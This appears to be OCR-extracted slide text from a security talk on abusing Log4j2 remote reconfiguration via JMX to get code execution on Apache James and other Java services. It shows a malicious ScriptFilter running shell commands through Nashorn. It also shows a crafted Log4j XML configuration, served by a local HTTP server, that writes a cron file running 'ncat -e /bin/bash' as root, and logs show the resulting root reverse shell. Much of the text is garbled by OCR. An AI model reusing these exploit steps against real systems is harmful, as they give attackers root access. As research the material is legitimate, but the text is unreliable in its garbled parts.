qtpl945915791-36 DEBUG Building Plugin[name=root, class=org.apache.log g4j.core.config.LoggerConfig$RootLogger].
qtpl945915791-36 DEBUG createlLogger(additivity="null", level="DEBUG", 1nrluﬂeLorat1nn— null", ={}, ={}, Configuration(RCETest), ScriptFilter(RCE))
qtpl1945915791- DEBUG Building Plugin[nam gge cla rg.apache.logging.1 j.core.config.LoggersPlugin]
qtpl945915791-36 DEBUG createlogge {EventLogger, root})
qtpl945915791-36 DEBUG Config tion XmlConfiguration[location=stream (734 bytes, unknown location)] initialized
qtpl945915791-36 DEBUG Starting configu XmlConfiguration[location=stream (734 bytes, unknown location)]
3 qtpl945915791-36 DEBUG Started configuration XmlConfiguration[location Z 3 unknown location)] OK.
qtpl945915791-36 DEBUG Shutting down OutputStreamManager SYSTEM OUT.fal
qtpl945915791-36 DEBUG OutputStream closed
qtpl945915791-36 DEBUG Shut down OutputStreamManager SYSTEM OUT.false.false, all resources released: true
qtpl945915791-36 DEBUG Appender stdout stopped with status true
qtpl945915791-36 DEBUG Stopped org.apache.logging.log4j.core.config.properti PropertiesConfiguration@e788de9 OK
qtpl945915791-36 DEBUG Registering MBean or ache.logging.log4j2:type=15b642b9
qtp1945915791-36 DEBUG Registering MBean .log 4j2:type=15b642b9, componen
gqtpl945915791-36 DEBUG Registering MBean org apache i g typ 15bb42b9 umpunen
qtpl945915791-36 DEBUG Registering MBean apach gg
qtp1945915791-36 DEBUG Registering MBean org.apache. loqqlnq 10a4]2 type= ]5b64’b9 componen oggers, name'EuenTLque
-08 22:44:52,200 qtpl945915791-36 DEBUG LoggerContext[name=15b642b9, org.apache.logging.log4j.core.LoggerContext@6d6d480c] started OK with configuration XmlConfiguration[location=s
bytes, unknown location)].
2023-02-08 22:44:52,201 qtpl945915791-36 DEBUG Completed remote request to reconfigure from config text
Nashorn e is planned to be removed from a future JDK release
qtpl945915791-40 DEBUG Script RCE is compilable
001(amg-br gi 001 (amg-broker) ups=1001(amq-broker) context=unconfined nconfined unconfined t:
001 (amg-broker) g 001(amq-broker) gr 1001(amq-broker) context=unconfin nconfined r:unconfined t:
g 1001 (amg-broker) 1001 (amg-broker) c 3 nconfined inconfined t
001(amg-broker e01(amg-broker) groupﬁ 1001 (amg-broker) conte> c nconfined r:unconfined t
=1001(amq-broker) gid=1001(amq-broker) groups=1681(amq-broker) context= unconfined u:unconfined r:unconfined t:
001 (amg-broker) gid=1001(amq-broker) groups=1001(amq-broker) context=unconfined u:unconfined r:unconfined t:

NNN

NNNN
NNNNNRNNN

NN

NNNNNN
[N}




Malicious ScriptFilter - nobody was expecting

2023-02-08 22:44:52,111 qtpl945915791-36 DEBUG Oracle Nashorn version: 11.0.18, language: ECMAScript, threading: Not Thread Safe, compile: true, nes: [nashorn,
ript, ECMAS CIlpt ecmascript], factory class: jdk.nashorn.api. HCIlptlng NashornScriptEngineFactory

2023-02-08 22:44:52,111 qtpl945915791-36 DEBUG PluginManager 'Core' found 127 plugins

2023-02-08 :44.5¢,112 qtpl945915791-36 DEBUG PluginManager 'Level' found @ plugins

2023-02-08 :44:52,116 qtpl945915791-36 DEBUG PluginManager 'Lookup' found 16 plugins

2023-02-088
2023-02-08

M
[

:44:52,117 gtpl945915791-36 DEBUG Building Pluginlname=Script, class=org.apache.logging.log4ij.core.script.Script].

:44:52,120 qtpl945915791-36 DEBUG createScript(name="RCE", language="javascript", scriptText="var cmd = "id"; print{new java.io.Buffered
r{java.lang.Runtime.getRuntime(). :ec{cmd}.getlnputstr.amf}!l lines().collect(java.util.stream.Collectors.joining())});")

2023-02-08 22:44:52,121 qtpl945915791-36 DEBUG Buildi 11twr Cldbb '3 apache. 1 ing.log4j.core.filter.ScriptFilter].

2023-02-08 22:44:52,129 qtpl945915791-36 DEBUG createFilter( | 0 = C , D ismatch="DENY", Configuration(RCETest))

Warning: Mashorn engine is planned to be removed from a e

BB B RS
ST S N S ]




Malicious ScriptFilter nengoened | guess

2023-02-08 22:44:52,201 qtpl945915791-36 DEBUG Completed remote requ recanfigure from config text.
Warning: Nashorn engine is planned to be removed from a future JDK r¢

2023-02-08 22:44:54,889 qtpl945915791-40 DEBUG Script RCE is c:rnlplldbln:-

uid=1001(amq-broker) gid=1001(amq-broker) groups=1001(amq-broker) context=unconfined u:unconfined r:uncon

uid=1001(amg-broker) gid=1001(amqg-broker) groups=1801(amq-broker) context=unconfined u:unconfined r:uncon
uid=1001(amq-broker) gid=1001(amq-broker) groups=1001(amq-broker) context=unconfined u:unconfined r:uncon
uid=1001(amq-broker) gid=1001(amg-broker) groups=1001(amg-broker) context=unconfined u:unconfined r:uncon
uid=1001(amqg-broker) gid=1801l(amqg-broker) groups=1801(amq-broker) context=unconfine d _u:unconfined r:uncon
uid=1001(amg-broker) gid=1001l(amg-broker) groups=1001(amg-broker) context=unconfine d u:unconfined r:uncon




Apache James




Apache James

 No CVE (they had more important vulns to worry about)
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Apache James

No CVE (they had more important vulns to worry about)
Direct JMX

Usually runs as “root” as it listens on ports 25, 110, 143

Exploit: Write command in cron.d as “root”



Write Malicious Cron.d Log4) XML Configuration

<Pattern>
<! [CDATA[

</Pattern>



I Write Malicious Cron.d Log4) XML Configuration

<File name fileName



Write Malicious Cron.d Log4) XML Configuration

<?xml version encoding
<Configuration status name packages
<Appenders>
<File name fileName
<PatternlLayout>
<Pattern>
<! [CDATA][

</Pattern>
</PatternLayout>
</File>
</Appenders>
<Loggers>
<Root level >
<AppenderRef ref
</Root>
</Loggers>
</Configuration>




I Write Malicious Cron.d Using Jeonsole

Java Monitoring & Management Console

Connection Window Help

=]

[#]127.0.0.1:9999

Overview Memory Threads Classes VM Summary | MBeans

» JMimplementation Attribute value

» com.sun.management

==

» connector S Value
b javalang ConfigLocationUri http://127.0.0.1:4444/cron.xml
» java.nio Refresh
» java.util.logging
» jdk.management.jfr MBeanAttributelnfo
» metrics Name Value
» org.apache.commons.pool2 Arbts
» org.apache.derby teribute: . i .
p = he.i MName ConfiglocationUri
e Descripti Attribut dFf t
~+ org.apache.logging.log4j2 escription ribute exposed For managemen
® 75b84c92 Readable true
AL c92 Tabl
w Attributes Writable Eme
Name Is False _
Status Type java.lang.String
ConfiglocationUri
ConfigText
ConfigName
ConfigClassName
ConfigFilter
ConfigProperties
ObjectName

» Operations

» Notifications

» Appenders

» @ ContextSelector
» Loggers

» @ StatusLogger




I Write Malicious Cron.d Using Jeonsole

[-Attribute value

MName Value
ConfiglocationUri http://127.0.0.1:4444/cron.xml

A




Write Malicious Cron.d

"null”,

createOnDemand=

2023-01-26
2023-01-26
2023-01-26
2023-01-26
2023-01-26
2023-01-26
2023-01-26
2023-01-26
2023-01-26

2023-01-26
2023-01-26
2023-01-26
2023-01-26
2023-01-26
2023-01-26

:02,078
:02,079
:02,079
:02,079
:02,079
102,079

Connection(12)-192.
Connection(12)-192.
Connection(12)-192.
Connection(12)-192.
Connection(12)-192.
Connection(12)-192.
Connection(12)-192.
Connection(12)-192.
Connection(12)-192.

14444 /cron.xml]...

Connection(12)-192.
Connection(12)-192.
Connection(12)-192.
Connection(12)-192.
Connection(12)-192.
Connection(12)-192.

* * * * * root ncat -e /bin/bash 127.0.0.1 5555

### mal”, PatternSelector=null, Co

2023-01-26 22:02:02,080 RMI TCP Connection(12)-192.168.6.129 DEBUG PluginManager
2023-01-26 22:02:02,080 RMI TCP Connection(12)-192.168.6.129 DEBUG Building Plugin[name=appender, class=org.apache.logging.
2023-01-26 22:02:02,080 RMI TCP Connection(12)-192.168.6.129 DEBUG FileAppenderS$Builder(fileName="/etc/cron.d/mal", append="null", locking="null", advertise= e
ull”, filePermissions="null", fileOwner="null", fileGroup="null", bufferedIo="null", bufferSize

* * * * * root ncat -e /bin/bash 127.6.0.1 5555
### mal), name="MyFile", Configuration(MyApp), Filter=null, ={})

2023-01-26
2023-01-26
2023-01-26
2023-01-26
2023-01-26
2023-01-26
2023-01-26
={}, Configurat
2023-01-26 :
2023-01-26
2023-01-26
2023-01-26
2023-01-26
2023-01-26
2023-01-26
2023-01-26
2023-01-26
2023-01-26
2023-01-26
2023-01-26
2023-01-26
2023-01-26
2023-01-26
2023-01-26

102

n XmlConfiguration[locatiol

jvm 1

2023-01-26 22:02

102,081
:02,081
:02,081
:02,082
:02,082
102,082
:02,082

RMI
RMI
RMI
RMI
RMI
RMI
RMI

TCP
TCP
TCcP
TCP
TCP
TCcpP
TCcP

Connection(12)-192.
Connection(12)-192.
Connection(12)-192.
Connection(12)-192.
Connection(12)-192.
Connection(12)-192.
Connection(12)-192.

(MyApp), Filter=null)

:02,082
:02,082
:02,083
102,083
:02,083
:02,084
:02,084
:02,086
:02,088
:02,088

RMI
RMI
RMI
RMI
RMI
RMI
RMI
RMI
RMI
RMI
RMI

102,090 RMI

.0.0
TCP

Connection(12)-192.
Connection(12)-192.
Connection(12)-192.
Connection(12)-192.
Connection(12)-192.
Connection(12)-192.
Connection(12)-192.
Connection(12)-192.
Connection(12)-192.
Connection(12)-192.
Connection(12)-192.
Connection(12)-192.
Connection(12)-192.
Connection(12)-192.
Connection(12)-192.
Connection(12)-192.

.1:4444/cr xml].

Connection(12)-192.

168.
168.

(< - - -

6.
.129 DEBUG
.129 DEBUG
.129 DEBUG
.129 DEBUG

o o

o o

[ - - - - W~ - N - )

DEBUG
DEBUG
DEBUG

figuration(MyApp), Replace=null, charset="null", alwaysWriteExceptions="null", disableAnsi

129 DEBUG

129 DEBUG

.129 DEBUG

.129 DEBUG

129 DEBUG
129 DEBUG

.129 DEBUG
.129 DEBUG
.129 DEBUG
.129 DEBUG
.129 DEBUG
.129 DEBUG
.129 DEBUG
.129
.129 DEBUG
.129 DEBUG
.129 DEBUG
.129 DEBUG
.129 DEBUG

DEBUG

.129 DEBUG

Target’s console output

Remote request to reconfigure using location http://127.0.0.1:4444/cron.xml

Opening config URL http://127.0.0.1:4444/cron.xml

uri does not represent a local file: http://127.0.0.1:4444/cron.xml

Using configurationFactory org.apache.logging.log4j.core.config.ConfigurationFactory$Factory@49b9c018
PluginManager 'Lookup' found 16 plugins

Closing HttpInputStream sun.net.www.protocol.http.HttpURLConnection$SHttpInputStream@37923ad9

Loaded configuration from http://127.0.0.1:4444/cron.xml

Starting LoggerContext[name=75b84c92, org.apache.logging.log4j.core.LoggerContext@73a8dadf] with configuration

Apache Log4j Core 2.19.0 initializing configuration XmlConfiguration[location=http://127.0.0.1:4444/cron.xml]
PluginManager 'Core' found 130 plugins

PluginManager 'Level' found 0 plugins

PluginManager 'Lookup' found 16 plugins

Building Plugin[name=layout, class=org.apache.logging.log4j.core.layout.PatternLayout].
PatternLayoutSBuilder(pattern="### mal

noConsoleNoAns

"null”, 'null”, header="null", foote

'Converter' found 45 plugins
log4j.core.appender.FileAppender].
advertiseUri=

"null”, immediateFlush="null", ignoreException null", PatternLayou

Starting FileManager /etc/cron.d/mal

Building Plugin[name=appenders, class=org.apache.logging.log4j.core.config.AppendersPlugin].
createAppenders(={MyFile})

Building Plugin[name=AppenderRef, class=org.apache.logging.log4j.core.config.AppenderRef].
createAppenderRef(ref="MyFile", level="null", Filter=null)

Building Plugin[name=root, class=org.apach
LoggerConfigSRootLoggerSBuilder(additivit

logging.log4j.core.config.LoggerConfig$SRootLogger].
"'null”, level="DEBUG", levelAndRefs="null", includeLocation="null",

Building Plugin[name=loggers, class=org.apache.logging.log4j.core.config.LoggersPlugin].
createLoggers(={root})

Configuration XmlConfigurati location=http://127.0.0.1:4444/cron.xml] initialized
Starting configuration XmlConfiguration[location=http://127.0.0.1:4444/cron.xml]

Started configuration XmlConfiguration[location=http://127.0.0.1:4444/cron.xml] OK.
Shutting down FileManager /etc/cron.d/mal_cron

OutputStream closed

Shut down FileManager /etc/cron.d/mal_ 5
Appender MyFile stopped with status true
Stopped XmlConfiguration[location=http://127.0.0.1:4444/cron.xml] OK

Registering MBean org.apache.logging.log4j ype=75b84c92

Registering MBean org.apache.logging.log4j ype=75b84c92,component=StatusLogger

Registering MBean org.apache. i j ontextSelector

Registering MBean org.apache.logging.log4j oggers,name=

Registering MBean org.apache.logging.log4j2:type=75b84c92,component=Appenders,name=MyFile
LoggerContext[name=75b84c92, org.apache.logging.log4j.core.LoggerContext@73a8daof] started OK with configuratio

all resources released: true

Completed remote request to reconfigure.



Write Malicious Cron.d James’ console output

Remote request to reconfigure using location http://127.0.0.1:4444/cron.xml

Opening config URL http://127.0.0.1:4444/cron.xml

uri does not represent a local file: http://127.0.0.1:4444/cron.xml

Using configurationFactory org.apache.logging.log4j.core.config.ConfigurationFactory$Factory@49b9co18
PluginManager 'Lookup' found 16 plugins

Closing HttpInputStream sun.net.www.protocol.http.HttpURLConnectionSHttpInputStream@3i7o923ad9

P023-01-26 22:02:02,079 RMI TCP Connection(12)-192.168.6.129 DEBUG PatternLayout$Builder(pattern="### mal

* * * * root ncat -e fbin/bash 127.0.8.1 5555
PatternSelector=null, Configuration{MyApp), Replace=null, charset="null”, alwayskWriteExceptions="

o olF = [
RMI TCP Connection(12)-192.168.6.129 DEBUG Starting FileManager Jetc/cron.d/mal
RMI TCP Connection(12)-192.168.6.129 DEBUG Building Plugin[name=appenders, class=o0
RMI TCP Connection(12)-192.168.6.129 DEBUG createAppenders(={MyFile})




Write Malicious Cron.d RCE Result

1 guest@tester: ~/Desktop/Jolokia+Log4J/jail Q guest@tester: ~/Desktop/Jolokia+Log4J/jail Q
H $ cat cron.xml : S id
<?xml version="1.0" encoding="UTF-8"?> uid=1000(guest) gid=1000(guest) groups=1000(guest),4(adm),24(cdrom),27(sudo),30(dip),46(plugd
<Configuration status="debug" name="MyApp" packages="" ev),120(1padmin),132(1xd),133(sambashare)
<Appenders> :

<File name="MyFile" fileName="/etc/cron.d/mal"> :
<PatternLayout> Listening on 0.0.0.0 5555
Connection received on 127.0.0.1 48552
id
uid=0(root) gid=0(root) groups=0(root)

S
$ nc -nlvp 5555

</PatternLayout=>
<[/File>
</Appenders>
<Loggers>
<Root level="debug">
<AppenderRef ref="MyFile"/>
</Root>
</Loggers>
</Configuration>
3 $ python3 -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/)
127.0.0.1 - - [26/Jan/2023 22:02:02] "GET /cron.xml HTTP/1.1" 200 -

guest@tester: ~/Desktop/Jolokia+Log4J/jail Q

$ cat Jetc/cron.d/mal
### mal
* * % * * root ncat -e /bin/bash 127.8.8.1 5555
#a# mal### mal
* * * * * root ncat -e /bin/bash 127.0.0.1 5555
### mal### mal
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